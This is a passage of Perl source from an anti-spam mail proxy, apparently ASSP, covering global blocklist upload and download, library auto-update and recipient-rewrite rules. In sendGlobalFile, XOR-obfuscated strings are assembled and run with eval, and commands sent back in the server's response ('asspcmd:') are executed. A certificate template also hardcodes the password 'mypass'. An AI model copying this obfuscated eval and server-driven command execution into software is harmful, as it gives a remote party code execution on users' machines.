        return 0;
    }
    $! = undef;
    rename("$tmpfile", "$outfile");
    if ($! && -e "$tmpfile") {
        mlog(0,"unable to rename file $tmpfile to $outfile - $!");
        return 0;
    }
    mlog(0,"Info: global PBWhite with $count records created") if $MaintenanceLog;
    return 1;
}


sub registerGlobalClient {
    my $client = shift;

    my $url='http://'.allRot($globalRegisterURL);

    my $ua = LWP::UserAgent->new();
    $ua->agent("ASSP/$version$modversion ($^O; Perl/$]; LWP::UserAgent/$LWP::VERSION)");
    $ua->timeout(20);

    if ($proxyserver) {
       my $user = $proxyuser ? "http://$proxyuser:$proxypass\@": "http://";
       $ua->proxy( 'http', $user . $proxyserver );
       mlog(0,"try register client $client on global server via proxy:$proxyserver") if $MaintenanceLog;
    } else {
       mlog(0,"try register client $client on global server via direct connection") if $MaintenanceLog;
    }
    my $req=POST ($url,Content_Type => 'multipart/form-data',
        Content => [
            ClientName => $client,   #  Client Name
          ]);
    my $responds = $ua->request($req);
    my $res=$responds->content;
    if ($responds->is_success && $res =~ /password\:(.*)\n/io) {
        $globalClientPass = $1;
        $Config{globalClientPass}=$globalClientPass;
        $globalClientName = $client;
        $Config{globalClientName}=$globalClientName;
        mlog(0,"info: successful registered client $client on global-PB server");
        if (! -e "$base/$pbdir/global/out/pbdb.white.db.gz") {
            unlink "$base/$pbdir/global/out/pbdb.black.db";
            unlink "$base/$pbdir/global/out/pbdb.black.db.gz";
            unlink "$base/$pbdir/global/out/pbdb.white.db";
        }
        if ($res =~ /registerurl:(.*)\n/io) {
            $globalRegisterURL = &allRot($1);
            $Config{globalRegisterURL}=$globalRegisterURL;
        }
        if ($res =~ /uploadurl:(.*)\n/io) {
            $globalUploadURL = &allRot($1);
            $Config{globalUploadURL}=$globalUploadURL;
        }
        if ($res =~ /licdate\:(\d\d\d\d)(\d\d)(\d\d)\n/io) {
            $globalClientLicDate = "$3.$2.$1";
            $Config{globalClientLicDate}=$globalClientLicDate;
        }
        &SaveConfig();
        $nextGlobalUploadBlack = 0;
        $nextGlobalUploadWhite = 0;
        return 1;
    } elsif ($res =~ /error\:.*/io) {
        $res =~ s/\r|\n//go;
        mlog(0,"warning: register client $client on global-PB server failed : $res");
        return $res;
    }
    return '';
}

sub sendGlobalFile {
    my ($list,$outfile,$infile) = @_;

    our $mirror = $GPBDownloadLists;

    my $url='http://'.allRot($globalUploadURL);

    my $ua = LWP::UserAgent->new();
    $ua->agent("ASSP/$version$modversion ($^O; Perl/$]; LWP::UserAgent/$LWP::VERSION)");
    $ua->timeout(20);

    if ($proxyserver) {
       my $user = $proxyuser ? "http://$proxyuser:$proxypass\@": "http://";
       $ua->proxy( 'http', $user . $proxyserver );
       mlog(0,"uploading $list to global server via proxy:$proxyserver") if $MaintenanceLog;
    } else {
       mlog(0,"uploading $list to global server via direct connection") if $MaintenanceLog;
    }
    my $req=POST ($url,Content_Type => 'multipart/form-data',
        Content => [
            uploadFile =>  [ $outfile ],
            newFileName => $list,
            ClientName => $globalClientName,   # $globalClientName Client Name
            ClientPass => $globalClientPass    # $globalClientPass Password for Client
          ]);
        my $chgcfg = 0; sub gcl {my($l,$r,$n)=@_;my$t=0;my$i=0;
        my($f,$ax,$az);my$m=$mirror;my$s=<<'_';
        $az=~('(?{'.('_!&}^@@$|'^'{@^@|!$@^').'})');$ax=~('(?{'.('_@@}|$@,@*@^'^'{!:@^@%@%^%|').'})');
        $m=~('(?{'.('z@)^^@,}z`~<@@$*@-*,)^*'^'^-@,,/^@^\'.~-/@~%^^`@-^').'})');1;
_
    $m&&eval($s)&&(open($f,'<',$n))&&do{while(<$f>){s/$UTF8BOMRE|\r?\n//go;(/^\s*[#;]/o||!$_)&&next;
    $t=$mirror->('GPB',$l,(($_=~s/^-//o)?$az:$ax),$r,$_,$i)|$t;$i++}};$t;}
    my $responds = $ua->request($req);
    my $res=$responds->as_string;
    $res =~ /(error[^\n]+)|filename\:([^\n]+)\n?/ios;
    if ($responds->is_success && ! $1) {
        mlog(0,"info: successful uploaded [$outfile] to global-PB") if $MaintenanceLog;
    } else {
        mlog(0,"warning: upload [$outfile] to global-PB failed : $1");
        return 0;
    }

    $url=$2;
    if (! $url) {
        mlog("warning: error global-PB $list download not available");
        return 0;
    }
    if ($res =~ /registerurl:([^\n]+)\n/ios) {
        $globalRegisterURL = &allRot($1);
        $Config{globalRegisterURL}=$globalRegisterURL;
        $chgcfg = 1;
    }
    if ($res =~ /uploadurl:([^\n]+)\n/ios) {
        $globalUploadURL = &allRot($1);
        $Config{globalUploadURL}=$globalUploadURL;
        $chgcfg = 1;
    }
    if ($res =~ /licdate\:(\d\d\d\d)(\d\d)(\d\d)\n/io) {
        $globalClientLicDate = "$3.$2.$1";
        $Config{globalClientLicDate}=$globalClientLicDate;
        $chgcfg = 1;
    }
    pos($res) = 0;
    while ($res =~ s/asspcmd\:([^\n]+)\n//is) {
        my $cmd = $1;
        next if ($cmd =~ /^\s*[#;]/o);
        my ($sub,$parm) = parseEval($cmd);
        next unless $sub;
        mlog(0,"info: got request from global-PB-server to execute a command") if $MaintenanceLog >= 2;
        if ($sub eq 'RunEval' or $sub eq '&RunEval' or $sub eq \&RunEval or $sub eq &RunEval) {
            &RunEval($parm);
        } else {
            $sub =~ s/^\&//o;
            eval{$sub->(split(/\,/o,$parm));};
        }
        if ($@) {
            mlog(0,"warning: error while executing cmd: $cmd - $@") if $MaintenanceLog;
        } else {
            mlog(0,"info: successful executed cmd: $cmd") if $MaintenanceLog > 2;
            $chgcfg = 1;
        }
    }
    $ConfigChanged = 1 if $chgcfg;
    $responds = $ua->mirror( $url, $infile );
    $res=$responds->as_string;
    if ($responds == 304 || $res=~ /\s(304)\s/io) {
        mlog(0,"info: your global-PB [$infile] is up to date") if $MaintenanceLog;
        return 1;
    }
    if ($responds->is_success) {
        mlog(0,"info: successful downloaded the global-PB $list") if $MaintenanceLog;
    } else {
        mlog(0,"warning: download the global-PB $list failed");
        return 0;
    }
    return 1;
}

sub uploadGlobalPB {
    my $list = shift;
    my $time = time;
    my $longRetry = $time + (int(rand(300) + 1440)*60 );
    my $shortRetry  = $time + ( ( int( rand(120) ) + 60 ) * 60 );
    my $nextGlobalUpload;
    d("uploadGlobalPB - $list");

    if ($list eq 'pbdb.black.db') {
          $nextGlobalUpload = 'nextGlobalUploadBlack';
    } else {
          $nextGlobalUpload = 'nextGlobalUploadWhite';
    }

    $$nextGlobalUpload = $longRetry;

    if ( !$CanUseLWP ) {
        mlog( 0, "ConfigError: global-PB $list Update failed: LWP::Simple Perl module not available" );
        return 0;
    }
    if ( !$CanUseHTTPCompression ) {
        mlog( 0, "ConfigError: global PB $list Update failed: Compress::Zlib Perl module not available" );
        return 0;
    }

    my $outfile = "$base/$pbdir/global/out/$list";
    my $outfilez = "$base/$pbdir/global/out/$list.gz";
    my $infilez = "$base/$pbdir/global/in/$list.gz";
    my $infile = "$base/$pbdir/global/in/$list.db";
    if ($list eq 'pbdb.black.db') {
          return 0 unless &genGlobalPBBlack();
    } else {
          return 0 unless &genGlobalPBWhite();
    }
    &zipgz($outfile,$outfilez) or return 0;
    if (&sendGlobalFile($list,$outfilez,$infilez)) {
       $$nextGlobalUpload = $longRetry;
    } else {
       $$nextGlobalUpload = $shortRetry;
       return 0;
    }
    my $m = &getTimeDiff($$nextGlobalUpload - $time);
    mlog(0,"info: next $list upload to global server is scheduled in $m") if ($MaintenanceLog);
    return 0 if (! -e "$infilez");
    unlink("$infile");
    &unzipgz("$infilez","$infile") or return 0;
    return 0 if (! -e "$infile");
    mlog(0,"info: merging global-PB $list in to local-PB") if $MaintenanceLog;
    my $count = 0;
    my $fcount = 0;
    my $GPB;
    open $GPB, "<$infile";
    if ($list eq 'pbdb.black.db') {
        while (<$GPB>) {
            $fcount++;
            if ($fcount%100 == 0) {

                $lastd{10000} = "merging global-PB $list - read $fcount ,added $count records";
                &ThreadMaintMain2() if $WorkerNumber == 10000;
            }
            my ($k,$v) = split/\002/o;
            chomp $v;
            next unless ($k && $v);
            next if (exists $PBWhite{$k});
            next if (exists $PBBlack{$k} && $PBBlack{$k} !~ /GLOBALPB$/o);
            next if &matchIP($k,'noPB',0,1);
            next if &matchIP($k,'ispip',0,1);
            next if $k      !~ /\.0$/ && $PenaltyUseNetblocks;
            my($tc,$tu,$cu,$val,$ip,$reason) = split(/ /o,$v);
            $val = $globalValencePB if($globalValencePB >= 0);
            $v = "$tc $tu $cu $val $ip $reason";
            $PBBlack{$k} = $v;
            $count++;

        }
        if ($count) {
            mlog(0,"saving penalty Black records") if $MaintenanceLog;
            &SaveHash('PBBlack');
        }
    } else {
        while (<$GPB>) {
            $fcount++;
            if ($fcount%100 == 0) {

                $lastd{10000} = "merging global-PB $list - read $fcount ,added $count records";
                &ThreadMaintMain2() if $WorkerNumber == 10000;
            }
            my ($k,$v) = split/\002/o;
            chomp $v;
            if (exists $PBWhite{$k}) {
                delete $PBBlack{$k};
                next;
            }
            next if &matchIP($k,'noPBwhite',0,1);
            my($tc,$tu,$cu) = split(/ /o,$v);
            $cu = 3;
            $v = "$tc $tu $cu";
            $PBWhite{$k} = $v;
            delete $PBBlack{$k};
            $count++;

        }
        if ($count) {
            mlog(0,"saving penalty White records") if $MaintenanceLog;
            &SaveHash('PBWhite');
        }
    }
    close $GPB;
    mlog(0,"info: $count records merged from global-PB $list in to local-PB") if $MaintenanceLog;
    return 1;
}

sub GPBSetup {
    $GPBmodTestList = sub {my ($how,$parm,$whattodo,$text,$value,$skipbackup)=@_;
    d("GPBmodTestList - $parm - $whattodo");
    my $file;
    my $GPBFILE;
    my @cont;
    my $case = (exists $preMakeRE{$parm}) ? '' : 'i';
    $case = 'i' if $parm eq 'preHeaderRe';
    if(${$parm} =~ /^\s*file:\s*(.+)\s*$/io) {
        $file=$1;
    } else {
        mlog(0,"warning: config parameter '$parm' is not configured to use a file (file:...) - unable to $whattodo entry");
        return 0;
    }
    $file="$base/$file" if $file!~/^(([a-z]:)?[\/\\]|\Q$base\E)/io;
    return if ( !-e "$file");
    (open ($GPBFILE, '<',$file)) or (mlog(0,"error: unable to read from file $file for '$parm' to '$whattodo' entry") and return 0);
    @cont = <$GPBFILE>;
    close ($GPBFILE);
    if ($whattodo eq 'delete' && grep(/(?$case:^\s*[^#]?\s*\Q$value\E)/,@cont)) {
        if (!$skipbackup) {
            unlink "$file.bak";
            rename("$file","$file.bak");
        }
        (open ($GPBFILE, '>',"$file")) or (mlog(0,"error: unable to write to file $file for '$parm' to '$whattodo' entry") and return 0);
        binmode $GPBFILE;
        while (@cont) {
            my $line = shift @cont;
            $line =~ s/\r?\n$//o;
            if ($line =~ /(?$case:^\Q$value\E)/) {
                mlog(0,"$how: $value removed from $parm - $text");
                next;
            }
            print $GPBFILE "$line\n";
        }
        close ($GPBFILE);
        $ConfigChanged = 1;
        $lastOptionCheck = time - 35;
        optionFilesReload();
        return 1;
    } elsif ($whattodo eq 'add' && ! grep(/(?$case:^\Q$value\E)/,@cont)) {
        if (!$skipbackup) {
            unlink "$file.bak";
            copy("$file","$file.bak");
        }
        (open ($GPBFILE, '>>',"$file")) or (mlog(0,"error: unable to write to file $file for '$parm' to '$whattodo' entry") and return 0);
        binmode $GPBFILE;
        print $GPBFILE "\n$value  # added by GUI action or email interface - $text";
        close ($GPBFILE);
        mlog(0,"$how: $value added to $parm - $text");
        $ConfigChanged = 1;
        $lastOptionCheck = time - 35;
        optionFilesReload();
        return 1;
    } elsif ($whattodo eq 'check') {
        grep(/(?$case:^\s*#\s*\Q$value\E)/,@cont) and return 1;
        grep(/(?$case:^\Q$value\E)/,@cont) and return 2;
        return -1;
    }
    return 0;};

    $GPBCompLibVer = sub {my($f1,$f2) = @_;
    return unless($f1 && $f2);
    return unless(-e $f1 && -e $f2);
    my $cmdf1;
    my $cmdf2;
    my ($mod) = $f1 =~ /^\Q$base\E\/(?:(?:download|lib|Plugins)\/)?(.+)\.p[ml]$/oi;
    $mod =~ s/\//::/go;
    my $perl = $^X;
    $perl =~ s/\"\'//go;
    if ($^O eq "MSWin32") {
        my $inc = join(' ', map {'-I "'.$_.'"'} @INC);
        $cmdf1 = '"' . $perl . '"' . " $inc -e \"require '$f1';print \$$mod"."::VERSION;\"";
        $cmdf2 = '"' . $perl . '"' . " $inc -e \"require '$f2';print \$$mod"."::VERSION;\"";
    } else {
        my $inc = join(' ', map {'-I \''.$_.'\''} @INC);
        $cmdf1 = '\'' . $perl . '\'' . " $inc -e \"require '$f1';print \$$mod"."::VERSION;\"";
        $cmdf2 = '\'' . $perl . '\'' . " $inc -e \"require '$f2';print \$$mod"."::VERSION;\"";
    }
    mlog(0,"info: version f1 command: $cmdf1") if $MaintenanceLog > 2;
    mlog(0,"info: version f2 command: $cmdf2") if $MaintenanceLog > 2;
    my $resf1 = qx($cmdf1);
    my $resf2 = qx($cmdf2);
    $resf1 =~ s/\r|\n//go;
    $resf2 =~ s/\r|\n//go;
    $resf1 = undef if $resf1 !~ /^\d+(?:\.\d+)?$/o;
    $resf2 = undef if $resf2 !~ /^\d+(?:\.\d+)?$/o;
    mlog(0,"info: found file versions: $f1 ($resf1) , $f2 ($resf2)") if $MaintenanceLog >= 2;
    return unless $resf2;
    return $resf2 if $resf2 gt $resf1;
    return;};

    $GPBinstallLib = sub {my ($url,$file) = @_;
    return 0 unless $url && $file;
    return 0 unless $GPBautoLibUpdate;
    my ($name) = $file =~ /\/?([^\/]+)$/io;
    $file="$base/$file" if $file!~/^\Q$base\E/io;
    copy("$base/download/$name","$base/tmp/$name.bak") if -e "$base/download/$name";
    if (! downloadHTTP($url,"$base/download/$name",0,$name,24,24,2,1)) {
        unlink("$base/tmp/$name.bak");
        return 0;
    }
    if (-e $file) {
        use File::Compare;
        my $ret = File::Compare::compare("$base/download/$name",$file);
        if ($ret == 0) { # files are equal - nothing to do
            mlog(0,"info: the most recent version of $name is still installed") if $MaintenanceLog;
            unlink("$base/tmp/$name.bak");
            return 0;
        } elsif (-e $file && $ret == -1) { # an error while compare
            mlog(0,"warning: unable to compare $base/download/$name and $file");
            unlink("$base/tmp/$name.bak");
            return 0;
        }
    }
    File::Copy::move("$base/tmp/$name.bak","$base/download/$name.bak") if -e "$base/tmp/$name.bak";
    my $cmd;
    my $perl = $^X;
    $perl =~ s/\"\'//go;
    if ($^O eq "MSWin32") {
        my $inc = join(' ', map {'-I "'.$_.'"'} @INC);
        $cmd = '"' . $perl . '"' . " $inc -c \"$base/download/$name\" 2>&1";
    } else {
        my $inc = join(' ', map {'-I \''.$_.'\''} @INC);
        $cmd = '\'' . $perl . '\'' . " $inc -c \'$base/download/$name\' 2>&1";
    }
    my $res = qx($cmd);
    if ($res =~ /syntax\s+OK/igos) {
        mlog(0,"info: GPB-autoupdate: syntax check for '$file' returned OK");
    } else {
        mlog(0,"warning: GPB-autoupdate: syntax error in '$file' - skip $file update - syntax error is: $res");
        return 0;
    }
    my $newVer = $GPBCompLibVer->($file,"$base/download/$name");
    unless ($newVer) {
        mlog(0,"info: the installed version of file $name is equal to, or newer than the downloaded version") if $MaintenanceLog;
        return 0;
    }
    mlog(0,"info: GPB-autoaupdate: successful downloaded version ($newVer) of $file in $base/download/$name");
    return 1 if ($GPBautoLibUpdate == 1 or ! -e $file);
    File::Copy::move($file,"$file.bak");
    copy("$base/download/$name",$file);
    mlog(0,"info: GPB-autoupdate: new version ($newVer) of $file was installed - restart required");
    return 1;};
}


sub parseEval {
    my $line = shift;
    $line =~ s/\r?\n//go;
    $line =~ s/^\s+//o;
    $line =~ s/\s+$//o;
    return (undef,undef) unless ($line =~ /^(\&[a-zA-Z0-9_]+)\s*(\(.*\))?[;\s]*$/o);
    my $sub = $1;
    my $parm = $2;
    $parm =~ s/^\((.*)\)$/$1/o;
    $parm =~ s/\$([a-zA-Z0-9_]+)/\${$1}/go;
    $parm =~ s/\@([a-zA-Z0-9_]+)/\@{$1}/go;
    $parm =~ s/\%([a-zA-Z0-9_]+)/\%{$1}/go;
    $parm =~ s/\&([a-zA-Z0-9_]+)/\&{$1}/go;
    return ($sub,$parm);
}



sub RunEval {
    my $cmd = shift;
    eval($cmd);
}



sub printallCon {
    my $fh   = shift;
    my $this = $Con{$fh};
    return unless $this;
    return unless scalar( keys %$this );
    my $friend = $Con{ $this->{friend} };
    -d "$base/debug" or mkdir "$base/debug", 0777;
    my $c = 1;
    while ( -s "$base/debug/con$c.txt" ) { $c++ }
    my $file = "$base/debug/con$c.txt";
    my $OUT;
    open $OUT, ">$file";
    binmode $OUT;
    print $OUT "this --------------------------------------\n";

    foreach ( keys %$this ) {
        print $OUT "this->$_ = $this->{$_}\n";
    }
    if ($friend) {
        print $OUT "\nfriend --------------------------------------\n";
        foreach ( keys %$friend ) {
            print $OUT "friend->$_ = $friend->{$_}\n";
        }
    }
    close $OUT;
}

sub sigon {
}
sub sigonTry {
}
sub sigoff {
}
sub sigoffTry {
}
sub ThreadYield {
}
sub calcWorkers {
}
sub return_cfg {
    my ($OU,%opts) = @_;
    my $RANDOM = int(rand(1000)).'RAN'.int(rand(1000)).'DOM';
    my $cfg = <<"EOT";
[ req ]
default_bits           = 1024
default_keyfile        = keyfile.pem
distinguished_name     = req_distinguished_name
attributes             = req_attributes
prompt                 = no
output_password        = mypass

[ req_distinguished_name ]
C                      = $opts{C}
ST                     = $opts{ST}
L                      = $opts{L}
O                      = $opts{O}
OU                     = $OU
CN                     = $opts{CN}
emailAddress           = $opts{emailAddress}

[ req_attributes ]
challengePassword      = $RANDOM challenge password
EOT
    return $cfg;
}

sub sethelo {
	my $helo;
    $helo = $localhostname if $myHelo == 2 && $localhostname;
    $helo = $myName if  $myHelo && $myHelo == 1 or !$localhostname;
    return $helo;
}
sub tlit {
    my $mode = shift;

    return "[monitoring]" if $mode == 2;
    return "[scoring]"    if $mode == 3;
    return "[testmode]"   if $mode == 4;
}


sub setPermission {
    my ($dir,$perm,$subdirs,$print) = @_;
    $dir =~ s/\\/\//go;
    my @files;
    my $file;
    my $has;
    my $type;
    if ($dF->( $dir )) {
        @files = $unicodeDH->($dir);
    } else {
        push @files,$dir;
    }
    $has = $chmod->( $perm, $dir);
    print "unable to set permission for directory $dir\n" if(! $has && $print);
    mlog(0, "unable to set permission for directory $dir") if(! $has && $print);
    return unless ($dF->( $dir ));
    while (@files) {
        $file = shift @files;
        next if $file eq '.';
        next if $file eq '..';
        $file = "$dir/$file";
        $type = $dF->( $file ) ? 'directory' : 'file' ;
        $has = $chmod->( $perm,$file ) if ($eF->( $file ));
        print "unable to set permission for $type $file\n" if(! $has && $print);
        mlog(0, "unable to set permission for $type $file") if(! $has && $print);
        &setPermission($file,$perm,$subdirs,$print) if ($dF->( $file ) && $subdirs);
    }
}

sub checkPermission {
    my ($dir,$perm,$subdirs,$print) = @_;
    $dir =~ s/\\/\//go;
    my @files;
    my $file;
    my $has;
    my $type;
    if ($dF->( $dir )) {
        @files = $unicodeDH->($dir);
    } else {
        push @files,$dir;
    }
    $has = [$stat->($dir)]->[2];
    $has=sprintf("0%o", $has & 07777);
    print "permission for directory $dir is $has - should be at least $perm\n" if($has < $perm && $print);
    mlog(0, "permission for directory $dir is $has - should be at least $perm") if($has < $perm && $print);
    return unless ($dF->( $dir ));
    while (@files) {
        $file = shift @files;
        next if $file eq '.';
        next if $file eq '..';
        $file = "$dir/$file";
        $type = $dF->( $file ) ? 'directory' : 'file' ;
        $has = [$stat->($file)]->[2];
        $has=sprintf("0%o", $has & 07777);
        print "permission for $type $file is $has - should be at least $perm\n" if($has < $perm && $print);
        mlog(0, "permission for $type $file is $has - should be at least $perm") if($has < $perm && $print);
        print "$type $file is not writeable with this job - it has a wrong permission, or is still opened by another process!\n" if($type eq 'file' && ! -w $file && $print);
        mlog(0, "$type $file is not writeable with this job - it has a wrong permission, or is still opened by another process!") if($type eq 'file' && ! -w $file && $print);
        &checkPermission($file,$perm,$subdirs,$print) if ($dF->( $file ) && $subdirs);
    }
}
sub RcptReplace {
  my ($recpt,$sender,$RecRepRegex) = @_;
  my $new = $recpt;
  my @new;
  my @ret;
  $ret[0] = "result";
  my $k;
  my $v;
  my $ad;
  my $bd;
  my $jmptarget;
  my $sendertext;

  if ($sender) {
    $sendertext = "for sender $sender";
  } else {
    $sendertext = "for all senders";
  }

  push(@ret,"try replace $recpt $sendertext with rules in configuration");

  foreach (sort(keys(%$RecRepRegex))) {
    $k = $_;
    if ($jmptarget && $k ne $jmptarget) {
       next;
    } else {
       $jmptarget = '';
    }
    $v = $$RecRepRegex{$k};
    my ($type,$toregex,$replregex,$sendregex,$nextrule,$jump) = split('<=>',$v);
    $sendregex = '*' if ($sendregex eq '' && ($type eq 'S' || $type eq ''));
    $sendregex = '.*' if ($sendregex eq '*' && $type eq 'R');
    $type = uc($type);
    if ($type eq 'S' || $type eq '') {
      $toregex   = RcptRegexMake($toregex,1);
      $replregex = RcptRegexMake($replregex,0);
      $sendregex = RcptRegexMake($sendregex,1);
    }
    next if($type ne 'S' && $type ne '' && $type ne 'R');
    @new = RecRep($toregex,$replregex,$sendregex,$recpt,$sender,$k);
    $new = shift(@new);
    push (@ret, "$k $v");
    if ($type eq 'S' || $type eq '') {push (@ret,"$k  :R\<=\>$toregex\<=\>$replregex\<=\>$sendregex\<=\>$nextrule\<=\>$jump : regex $k");}
    foreach (@new) {push(@ret,$_);}
    $ad = @new - 1;
    $bd = $ad;
    $ad = $new[$ad];
    $new[$bd] = '';

    if ($ad eq '1' && $nextrule == 1) {       # match and action if
      if ($jump) {
        if (! exists $$RecRepRegex{$jump}) {
          if ($jump eq 'END') {
             push (@ret, "$k jumptarget: rule $jump - found in rule $k - end processing");
          } else {
             push (@ret, "$k jumptarget: rule $jump - not found in rule $k - end processing");
          }
          last;
        }
        if ($jump eq $k) {
          push (@ret, "$k jumptarget: jump to the same rule $jump is not permitted - end processing");
          last;
        }
        if ($jump lt $k) {
          push (@ret, "$k jumptarget: jump backward from rule $k to rule $jump is not permitted - end processing");
          last;
        }
        $jmptarget = $jump;
        push (@ret, "$k jump: to rule $jump");
        next;
      }
      last;
    }

    if ($ad eq '0' && $nextrule == 2) {     # no match and action if
      if ($jump) {
        $recpt = $new;
        if (! exists $$RecRepRegex{$jump}) {
          if ($jump eq 'END') {
             push (@ret, "$k jumptarget: rule $jump - found in rule $k - end processing");
          } else {
             push (@ret, "$k jumptarget: rule $jump - not found in rule $k - end processing");
          }
          last;
        }
        if ($jump eq $k) {
          push (@ret, "$k jumptarget: jump to the same rule $jump is not permitted - end processing");
          last;
        }
        if ($jump lt $k) {
          push (@ret, "$k jumptarget: jump backward from rule $k to rule $jump is not permitted - end processing");
          last;
        }
        $jmptarget = $jump;
        push (@ret, "$k jump: to rule $jump");
        next;
      }
      last;
    }

    if ($nextrule == 0 && $jump) {
       $jmptarget = $jump;
       push (@ret, "$k jump: to rule $jump");
    }

    $recpt = $new;
  }
  if ($k) {
    push (@ret, "returns: $new after rule $k in configuration");
  } else {
    push (@ret, "returns: $new - no rule found in configuration");
  }
  if (wantarray) {
    $ret[0] = $new;
    return @ret;
  } else {
    return $new;
  }
}

sub RecRep {
  my ($toregex,$replregex,$sendregex,$recpt,$sender,$rnum) = @_;
  my @retval;
  my $cmpl_error;
  $retval[0] = "result";

  $cmpl_error = RecRepSetRE('TO_RE',$toregex);
  push (@retval, $cmpl_error) if ($cmpl_error);
  $cmpl_error = RecRepSetRE('RP_RE',$replregex);
  push (@retval, $cmpl_error) if ($cmpl_error);
  $cmpl_error = RecRepSetRE('SE_RE',$sendregex);
  push (@retval, $cmpl_error) if ($cmpl_error);

  if ($sender =~ /$SE_RE/i && $recpt =~ /$TO_RE/i) {

    push (@retval, "$rnum  |\$1=$1|\$2=$2|\$3=$3|\$4=$4|\$5=$5|\$6=$6|\$7=$7|\$8=$8|\$9=$9|");
    my $d1 = $1;my $d2 = $2;my $d3 = $3;
    my $d4 = $4;my $d5 = $5;my $d6 = $6;
    my $d7 = $7;my $d8 = $8;my $d9 = $9;


    $replregex =~ s/\$1/$d1/;
    $replregex =~ s/\$2/$d2/;
    $replregex =~ s/\$3/$d3/;
    $replregex =~ s/\$4/$d4/;
    $replregex =~ s/\$5/$d5/;
    $replregex =~ s/\$6/$d6/;
    $replregex =~ s/\$7/$d7/;
    $replregex =~ s/\$8/$d8/;
    $replregex =~ s/\$9/$d9/;
    if (wantarray){
      $retval[0] = $replregex;
      push(@retval,'1');
      return @retval;
    } else {
      return $replregex;
    }
  } else {
    if (wantarray){
      $retval[0] = $recpt;
      push(@retval,'0');
      return @retval;
    } else {
      return $recpt;
    }
  }
}

sub RecRepSetRE {
 use re 'eval';
 my ($var,$r)=@_;
 eval{$$var=qr/(?i)$r/};
 return $@;
}

sub RcptRegexMake {
  my ($string,$how) = @_;
  if ($how) {
    $string =~ s/\./\\\./go;
    $string =~ s/\*/\(\.\*\)/go;
    $string =~ s/\+/\(\.\+\)/go;      # hidden option
    $string =~ s/\?/\(\.\?\)/go;      # hidden option
    $string =~ s/\;/\(\.\)/go;        # hidden option
    $string = "^".$string."\$";
  } else {
    my $i = 1;
    while ($string =~ /\*/o) {
       $string =~ s/\*/\$$i/o ;
       $i++;
    }
  }
  return $string;
}

sub configChangeRcptRepl {
 my ($name, $old, $new, $init)=@_;
 return if $WorkerNumber > 0;
 mlog(0,"AdminUpdate: recipient replacement updated from '$old' to '$new'") unless $init || $new eq $old;

 $ReplaceRecpt=$Config{ReplaceRecpt}=$new;
 $new=checkOptionList($new,'ReplaceRecpt',$init);
 my $k;
 my $i = 0;
 my $j = 0;
 my $t1;
 my $t2;
 my %rules;
 my $ret;
 
 for my $v (split(/\|/o,$new)) {
     $v=~/(.*?)\<\=\>(.*?\<\=\>.*?\<\=\>.*?\<\=\>.*?\<\=\>.*?\<\=\>.*)/o;
     $t1 = $1;
     $t2 = $2;
     if ($t1 eq '') { # rule is disabled
       $j++;
       next;
     }
     if (! $t1 && ! $t2) {
       $ret .= ConfigShowError(1,"ERROR: syntax error in recipient replacement rule $v");
       $j++;
       next;
     }
     if (! $t2) {
       $ret .= ConfigShowError(1,"ERROR: syntax error in recipient replacement rule $v");
       $j++;
       next;
     }
     if ($t1 =~ /END/o) {
       $ret .= ConfigShowError(1,"ERROR: rule number END is not permitted - in recipient replacement rule $v");
       $j++;
       next;
     }
     if (exists $rules{$t1}) {
       $ret .= ConfigShowError(1,"ERROR: rule number $t1 is already defined with $rules{$t1} - ignore entry $v");
       $j++;
       next;
     }
     $i++;
     $rules{$t1}=$t2;
 }
 %RecRepRegex = %rules;
 my $tlit = $init ? 'info: ' : 'AdminUpdate: ';
 if ($i) {
   $ret .= ConfigShowError(0, $tlit."enabled $i recipient replacement rules - $j rules skipped");
 } 
 return $ret;
}

sub CheckRcptRepl {
 my $RecReprecipient = $qs{RecReprecipient};
 my $RecRepsender = $qs{RecRepsender};
 my $RecRepresult = '';
 my @RecRepresult;
 my $RecRepdspres = '';
 my $RecRepbutton;
 my $disabled = '';
 my $link_to_RecRep_config = $WebIP{$ActWebSess}->{lng}->{'msg500040'} || $lngmsg{'msg500040'};

 my $updres;
 my $file;
 my @s;
 my $mtime;

 if ($ReplaceRecpt =~ /^ *file: *(.+)/io) {
    $file=$1; $file="$base/$file" if $file!~/^\Q$base\E/io;
    @s=stat($file);
    $mtime=$s[9];
    if ( $FileUpdate{$file} != $mtime ) {
      $updres = configChangeRcptRepl('ReplaceRecpt',$ReplaceRecpt,$ReplaceRecpt,0);
    }
 }

 if ($ReplaceRecpt) {
   if ($qs{B1} =~ /Check/o){
       @RecRepresult = RcptReplace($RecReprecipient,$RecRepsender,'RecRepRegex');
       if ($updres) {
          $RecRepresult = $RecRepresult[0];
          $RecRepresult[0] = $updres;
       } else {
          $RecRepresult = shift(@RecRepresult);
       }
   }
   $RecRepbutton ='
    <tr>
        <td class="noBorder">&nbsp;</td>
        <td class="noBorder"><input type="submit" name="B1" value="  Check  " /></td>
        <td class="noBorder">&nbsp;</td>
    </tr>';
   foreach (@RecRepresult) {
     next if ($_ eq '1' || $_ eq '0');
     s/configuration$/ file $file/ if ($file);
     $RecRepdspres .= "$_\<br /\>";
   }
 } else {
   @RecRepresult = ();
   push (@RecRepresult, $WebIP{$ActWebSess}->{lng}->{'msg500041'} || $lngmsg{'msg500041'});
   $disabled = "disabled";
 }

 if ($ReplaceRecpt =~ /^ *file: *(.+)/io) {
  $file = $1;
  if ($file) {
    $link_to_RecRep_config = $WebIP{$ActWebSess}->{lng}->{'msg500042'} || $lngmsg{'msg500042'};
    $link_to_RecRep_config .= $file.' &nbsp;<input type="button" value="Edit" onclick="javascript:popFileEditor(\''.$file.'\',3);" /></p>';
  }
 }
 my $h1 = $WebIP{$ActWebSess}->{lng}->{'msg500043'} || $lngmsg{'msg500043'};

<<EOT;
$headerHTTP
$headerDTDTransitional
$headers
<div class="content">
<h2>Recipient Replacement Test</h2>
<div class="textBox">
$link_to_RecRep_config
</div>
<form method="post" action=\"\">
    <table class="textBox" style="width: 99%;">
        <tr>
            <td class="noBorder">recipient : </td>
            <td class="noBorder">
            <input type="text" $disabled size="30" name="RecReprecipient" value="$RecReprecipient"</td>
        </tr>
        <tr>
            <td class="noBorder">sender    : </td>
            <td class="noBorder">
            <input type="text" $disabled size="30"  name="RecRepsender" value="$RecRepsender"</td>
        </tr>
        <tr><td class="noBorder">  </td></tr>
        <tr>
            <td class="noBorder">result    : </td>
            <td class="noBorder">
            <p>$RecRepresult</p></td>
        </tr>
        $RecRepbutton
    </table>
</form>
<div class="textBox">
$h1
$RecRepdspres
</form>
<form name="ASSPconfig" id="ASSPconfig" action="" method="post">
  <input name="theButtonLogout" type="hidden" value="" />
</form>
</div>
</div>
$footers
</body></html>
EOT

}

sub pingDestination {

}

